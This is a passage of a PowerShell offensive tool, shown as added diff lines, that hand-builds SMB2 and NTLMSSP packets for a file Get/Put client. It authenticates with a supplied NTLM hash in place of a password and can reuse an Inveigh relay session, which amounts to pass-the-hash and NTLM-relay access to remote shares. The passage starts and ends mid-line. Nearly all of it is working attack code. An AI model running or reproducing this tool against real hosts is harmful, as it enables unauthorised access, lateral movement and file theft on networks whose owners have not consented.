$packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_ChainOffset",[Byte[]](0x28,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Offset",[Byte[]](0x10,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Offset",[Byte[]](0x18,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Length",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag",[Byte[]](0x44,0x48,0x6e,0x51)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_GUIDHandle",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($packet_extra_info -eq 3) + { + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_ChainOffset",[Byte[]](0x20,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Offset",[Byte[]](0x10,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Offset",[Byte[]](0x18,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Length",[Byte[]](0x08,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag",[Byte[]](0x41,0x6c,0x53,0x69)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_AllocationSize",$packet_allocation_size_bytes) + } + + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Offset",[Byte[]](0x10,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Offset",[Byte[]](0x18,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag",[Byte[]](0x4d,0x78,0x41,0x63)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + + if($packet_extra_info -gt 1) + { + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) + } + else + { + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) + } + + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Offset",[Byte[]](0x10,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Offset",[Byte[]](0x18,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag",[Byte[]](0x51,0x46,0x69,0x64)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + + if($packet_extra_info -gt 1) + { + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Offset",[Byte[]](0x10,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Offset",[Byte[]](0x18,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Length",[Byte[]](0x20,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag",[Byte[]](0x52,0x71,0x4c,0x73)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + + if($packet_extra_info -eq 2) + { + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Key",[Byte[]](0x10,0xb0,0x1d,0x02,0xa0,0xf8,0xff,0xff,0x47,0x78,0x67,0x02,0x00,0x00,0x00,0x00)) + } + else + { + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Key",[Byte[]](0x10,0x90,0x64,0x01,0xa0,0xf8,0xff,0xff,0x47,0x78,0x67,0x02,0x00,0x00,0x00,0x00)) + } + + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_State",[Byte[]](0x07,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Duration",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + } + + } + + return $packet_SMB2CreateRequest +} + +function New-PacketSMB2FindRequestFile +{ + param ([Byte[]]$packet_file_ID,[Byte[]]$packet_padding) + + $packet_SMB2FindRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2FindRequestFile.Add("StructureSize",[Byte[]](0x21,0x00)) + $packet_SMB2FindRequestFile.Add("InfoLevel",[Byte[]](0x25)) + $packet_SMB2FindRequestFile.Add("Flags",[Byte[]](0x00)) + $packet_SMB2FindRequestFile.Add("FileIndex",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2FindRequestFile.Add("FileID",$packet_file_ID) + $packet_SMB2FindRequestFile.Add("SearchPattern_Offset",[Byte[]](0x60,0x00)) + $packet_SMB2FindRequestFile.Add("SearchPattern_Length",[Byte[]](0x02,0x00)) + $packet_SMB2FindRequestFile.Add("OutputBufferLength",[Byte[]](0x00,0x00,0x01,0x00)) + $packet_SMB2FindRequestFile.Add("SearchPattern",[Byte[]](0x2a,0x00)) + + if($packet_padding) + { + $packet_SMB2FindRequestFile.Add("Padding",$packet_padding) + } + + return $packet_SMB2FindRequestFile +} + +function New-PacketSMB2QueryInfoRequest +{ + param ([Byte[]]$packet_info_type,[Byte[]]$packet_file_info_class,[Byte[]]$packet_output_buffer_length,[Byte[]]$packet_input_buffer_offset,[Byte[]]$packet_file_ID,[Int]$packet_buffer) + + [Byte[]]$packet_buffer_bytes = ,0x00 * $packet_buffer + + $packet_SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00)) + $packet_SMB2QueryInfoRequest.Add("InfoType",$packet_info_type) + $packet_SMB2QueryInfoRequest.Add("FileInfoClass",$packet_file_info_class) + $packet_SMB2QueryInfoRequest.Add("OutputBufferLength",$packet_output_buffer_length) + $packet_SMB2QueryInfoRequest.Add("InputBufferOffset",$packet_input_buffer_offset) + $packet_SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2QueryInfoRequest.Add("FileID",$packet_file_ID) + + if($packet_buffer -gt 0) + { + $packet_SMB2QueryInfoRequest.Add("Buffer",$packet_buffer_bytes) + } + + return $packet_SMB2QueryInfoRequest +} + +function New-PacketSMB2SetInfoRequest +{ + param ([Byte[]]$packet_info_type,[Byte[]]$packet_file_info_class,[Byte[]]$packet_file_ID,[Byte[]]$packet_buffer) + + [Byte[]]$packet_buffer_length = [System.BitConverter]::GetBytes($packet_buffer.Count) + + $packet_SMB2SetInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SetInfoRequest.Add("StructureSize",[Byte[]](0x21,0x00)) + $packet_SMB2SetInfoRequest.Add("InfoType",$packet_info_type) + $packet_SMB2SetInfoRequest.Add("FileInfoClass",$packet_file_info_class) + $packet_SMB2SetInfoRequest.Add("BufferLength",$packet_buffer_length) + $packet_SMB2SetInfoRequest.Add("BufferOffset",[Byte[]](0x60,0x00)) + $packet_SMB2SetInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2SetInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SetInfoRequest.Add("FileID",$packet_file_ID) + $packet_SMB2SetInfoRequest.Add("Buffer",$packet_buffer) + + return $packet_SMB2SetInfoRequest +} + +function New-PacketSMB2ReadRequest +{ + param ([Int]$packet_length,[Int64]$packet_offset,[Byte[]]$packet_file_ID) + + [Byte[]]$packet_length_bytes = [System.BitConverter]::GetBytes($packet_length) + [Byte[]]$packet_offset_bytes = [System.BitConverter]::GetBytes($packet_offset) + + $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) + $packet_SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) + $packet_SMB2ReadRequest.Add("Length",$packet_length_bytes) + $packet_SMB2ReadRequest.Add("Offset",$packet_offset_bytes) + $packet_SMB2ReadRequest.Add("FileID",$packet_file_ID) + $packet_SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) + + return $packet_SMB2ReadRequest +} + +function New-PacketSMB2WriteRequest +{ + param ([Int]$packet_length,[Int64]$packet_offset,[Byte[]]$packet_file_ID,[Byte[]]$packet_buffer) + + [Byte[]]$packet_length_bytes = [System.BitConverter]::GetBytes($packet_length) + [Byte[]]$packet_offset_bytes = [System.BitConverter]::GetBytes($packet_offset) + + $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) + $packet_SMB2WriteRequest.Add("Length",$packet_length_bytes) + $packet_SMB2WriteRequest.Add("Offset",$packet_offset_bytes) + $packet_SMB2WriteRequest.Add("FileID",$packet_file_ID) + $packet_SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("Buffer",$packet_buffer) + + return $packet_SMB2WriteRequest +} + +function New-PacketSMB2CloseRequest +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) + $packet_SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) + $packet_SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CloseRequest.Add("FileID",$packet_file_ID) + + return $packet_SMB2CloseRequest +} + +function New-PacketSMB2TreeDisconnectRequest +{ + $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2TreeDisconnectRequest +} + +function New-PacketSMB2SessionLogoffRequest +{ + $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2SessionLogoffRequest +} + +#NTLM + +function New-PacketNTLMSSPNegotiate +{ + param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] + [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 + [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 + [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 + [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 + + $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) + $packet_NTLMSSPNegotiate.Add("InitialcontextTokenLength",$packet_ASN_length_1) + $packet_NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenLength",$packet_ASN_length_2) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenLength2",$packet_ASN_length_3) + $packet_NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) + $packet_NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) + $packet_NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) + $packet_NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $packet_NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) + $packet_NTLMSSPNegotiate.Add("MechTokenLength",$packet_ASN_length_4) + $packet_NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NegotiateFlags",$packet_negotiate_flags) + $packet_NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($packet_version) + { + $packet_NTLMSSPNegotiate.Add("Version",$packet_version) + } + + return $packet_NTLMSSPNegotiate +} + +function New-PacketNTLMSSPAuth +{ + param([Byte[]]$packet_NTLM_response) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] + [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) + $packet_ASN_length_1 = $packet_ASN_length_1[1,0] + [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) + $packet_ASN_length_2 = $packet_ASN_length_2[1,0] + [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) + $packet_ASN_length_3 = $packet_ASN_length_3[1,0] + + $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength",$packet_ASN_length_1) + $packet_NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength2",$packet_ASN_length_2) + $packet_NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength3",$packet_ASN_length_3) + $packet_NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPAuth.Add("NTLMResponse",$packet_NTLM_response) + + return $packet_NTLMSSPAuth +} + +function DataLength2 +{ + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + + return $string_length +} + +if($Modify -and $Action -eq 'Put' -and $Source -isnot [Byte[]]) +{ + $output_message = "[-] Source must be a byte array when using -Modify" + $startup_error = $true +} +elseif((!$Modify -and $Source -isnot [String]) -or ($Modify -and $Action -ne 'Put' -and $Source -isnot [String])) +{ + $output_message = "[-] Source must be a string" + $startup_error = $true +} +elseif($Source -is [String]) +{ + $source = $Source.Replace('.\','') +} + +[String]$session_string = $session + +if($session_string -and !$Inveigh -or !$inveigh.session_socket_table[$session]) +{ + Write-Output "[-] Inveigh Relay session not found" + $startup_error = $true +} +elseif($session_string -and !$inveigh.session_socket_table[$session].Connected) +{ + Write-Output "[-] Inveigh Relay session not connected" + $startup_error = $true +} + +$destination = $Destination.Replace('.\','') + +if($hash -like "*:*") +{ + $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) +} + +if($Domain) +{ + $output_username = $Domain + "\" + $Username +} +else +{ + $output_username = $Username +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id +$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) +#[Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} +[Byte[]]$process_ID_bytes = 0x00,0x00,0x00,0x00 + +if(!$session_string_string) +{ + $SMB_client = New-Object System.Net.Sockets.TCPClient + $SMB_client.Client.ReceiveTimeout = 30000 +} + +$action_step = 0 + +if($Action -ne 'Put') +{ + $source = $source.Replace('\\','') + $source_array = $source.Split('\') + $target = $source_array[0] + $share = $source_array[1] + $source_subdirectory_array = $source.ToCharArray() + [Array]::Reverse($source_subdirectory_array) + $source_file = -join($source_subdirectory_array) + $source_file = $source_file.SubString(0,$source_file.IndexOf('\')) + $source_file_array = $source_file.ToCharArray() + [Array]::Reverse($source_file_array) + $source_file = -join($source_file_array) + $target_share = "\\$target\$share" +} + +switch($Action) +{ + + 'Get' + { + + if(!$Modify) + { + + if($destination -and $destination -like '*\*') + { + $destination_file_array = $destination.ToCharArray() + [Array]::Reverse($destination_file_array) + $destination_file = -join($destination_file_array) + $destination_file = $destination_file.SubString(0,$destination_file.IndexOf('\')) + $destination_file_array = $destination_file.ToCharArray() + [Array]::Reverse($destination_file_array) + $destination_file = -join($destination_file_array) + $destination_path = $destination + } + elseif($destination) + { + + if(Test-Path (Join-Path $PWD $destination)) + { + $output_message = "[-] Destination file already exists" + $startup_error = $true + } + else + { + $destination_path = Join-Path $PWD $destination + } + + } + else + { + + if(Test-Path (Join-Path $PWD $source_file)) + { + $output_message = "[-] Destination file already exists" + $startup_error = $true + } + else + { + $destination_path = Join-Path $PWD $source_file + } + + } + + } + else + { + $file_memory = New-Object System.Collections.ArrayList + } + + } + + 'Put' + { + + if(!$Modify) + { + + if($source -notlike '*\*') + { + $source = Join-Path $PWD $source + } + + if(Test-Path $source) + { + [Int64]$source_file_size = (Get-Item $source).Length + $source_file = $source + + if($source_file_size -gt 65536) + { + $source_file_size_quotient = [Math]::Truncate($source_file_size / 65536) + $source_file_size_remainder = $source_file_size % 65536 + $source_file_buffer_size = 65536 + } + else + { + $source_file_buffer_size = $source_file_size + } + + $source_file_properties = Get-ItemProperty -path $source_file + $source_file_creation_time = $source_file_properties.CreationTime.ToFileTime() + $source_file_creation_time = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($source_file_creation_time)) + $source_file_creation_time = $source_file_creation_time.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $source_file_last_access_time = $source_file_properties.LastAccessTime.ToFileTime() + $source_file_last_access_time = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($source_file_last_access_time)) + $source_file_last_access_time = $source_file_last_access_time.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $source_file_last_write_time = $source_file_properties.LastWriteTime.ToFileTime() + $source_file_last_write_time = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($source_file_last_write_time)) + $source_file_last_write_time = $source_file_last_write_time.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $source_file_last_change_time = $source_file_last_write_time + $source_file_buffer = new-object byte[] $source_file_buffer_size + $source_file_stream = new-object IO.FileStream($source_file,[System.IO.FileMode]::Open) + $source_file_binary_reader = new-object IO.BinaryReader($source_file_stream) + } + else + { + $output_message = "[-] File not found" + $startup_error = $true + } + + } + else + { + + [Int64]$source_file_size = $Source.Count + + if($source_file_size -gt 65536) + { + $source_file_size_quotient = [Math]::Truncate($source_file_size / 65536) + $source_file_size_remainder = $source_file_size % 65536 + $source_file_buffer_size = 65536 + } + else + { + $source_file_buffer_size = $source_file_size + } + + } + + $destination = $destination.Replace('\\','') + $destination_array = $destination.Split('\') + $target = $destination_array[0] + $share = $destination_array[1] + $destination_file_array = $destination.ToCharArray() + [Array]::Reverse($destination_file_array) + $destination_file = -join($destination_file_array) + $destination_file = $destination_file.SubString(0,$destination_file.IndexOf('\')) + $destination_file_array = $destination_file.ToCharArray() + [Array]::Reverse($destination_file_array) + $destination_file = -join($destination_file_array) + } + +} + +if($Action -ne 'Put') +{ + + if($source_array.Count -gt 2) + { + $share_subdirectory = $source.Substring($target.Length + $share.Length + 2) + } + +} +else +{ + + if($destination_array.Count -gt 2) + { + $share_subdirectory = $destination.Substring($target.Length + $share.Length + 2) + } + +} + +if($share_subdirectory -and $share_subdirectory.EndsWith('\')) +{ + $share_subdirectory = $share_subdirectory.Substring(0,$share_subdirectory.Length - 1) +} + +if(!$startup_error -and !$session_string) +{ + + try + { + $SMB_client.Connect($target,"445") + } + catch + { + $output_message = "[-] $target did not respond" + } + +} + +if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) +{ + + $SMB_client_receive = New-Object System.Byte[] 81920 + + if(!$session_string) + { + $SMB_client_stream = $SMB_client.GetStream() + $SMB_client_stage = 'NegotiateSMB' + + while($SMB_client_stage -ne 'exit') + { + + switch($SMB_client_stage) + { + + 'NegotiateSMB' + { + $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID_bytes[0,1] 0x00,0x00 + $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB_client_stage = 'exit' + $login_successful = $false + $output_message = "[-] SMB1 is not supported" + } + else + { + $SMB_version = 'SMB2' + $SMB_client_stage = 'NegotiateSMB2' + + if([System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03') + { + Write-Verbose "[!] SMB signing is enabled" + $SMB_signing = $true + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 + } + else + { + $SMB_signing = $false + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x05,0x80,0x08,0xa0 + } + + } + + } + + 'NegotiateSMB2' + { + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_message_ID = 1 + $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["ProcessID"] = $process_ID_bytes + $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'NTLMSSPNegotiate' + } + + 'NTLMSSPNegotiate' + { + $SMB2_message_ID ++ + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["ProcessID"] = $process_ID_bytes + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $SMB_negotiate_flags + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'exit' + } + + } + + } + + if($SMB_version -eq 'SMB2') + { + $SMB_NTLMSSP = [System.BitConverter]::ToString($SMB_client_receive) + $SMB_NTLMSSP = $SMB_NTLMSSP -replace "-","" + $SMB_NTLMSSP_index = $SMB_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_NTLMSSP_bytes_index = $SMB_NTLMSSP_index / 2 + $SMB_domain_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 12) $SMB_client_receive + $SMB_target_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 40) $SMB_client_receive + $SMB_session_ID = $SMB_client_receive[44..51] + $SMB_NTLM_challenge = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 24)..($SMB_NTLMSSP_bytes_index + 31)] + $SMB_target_details = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + $SMB_target_time_bytes = $SMB_target_details[($SMB_target_details.Length - 12)..($SMB_target_details.Length - 5)] + $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | 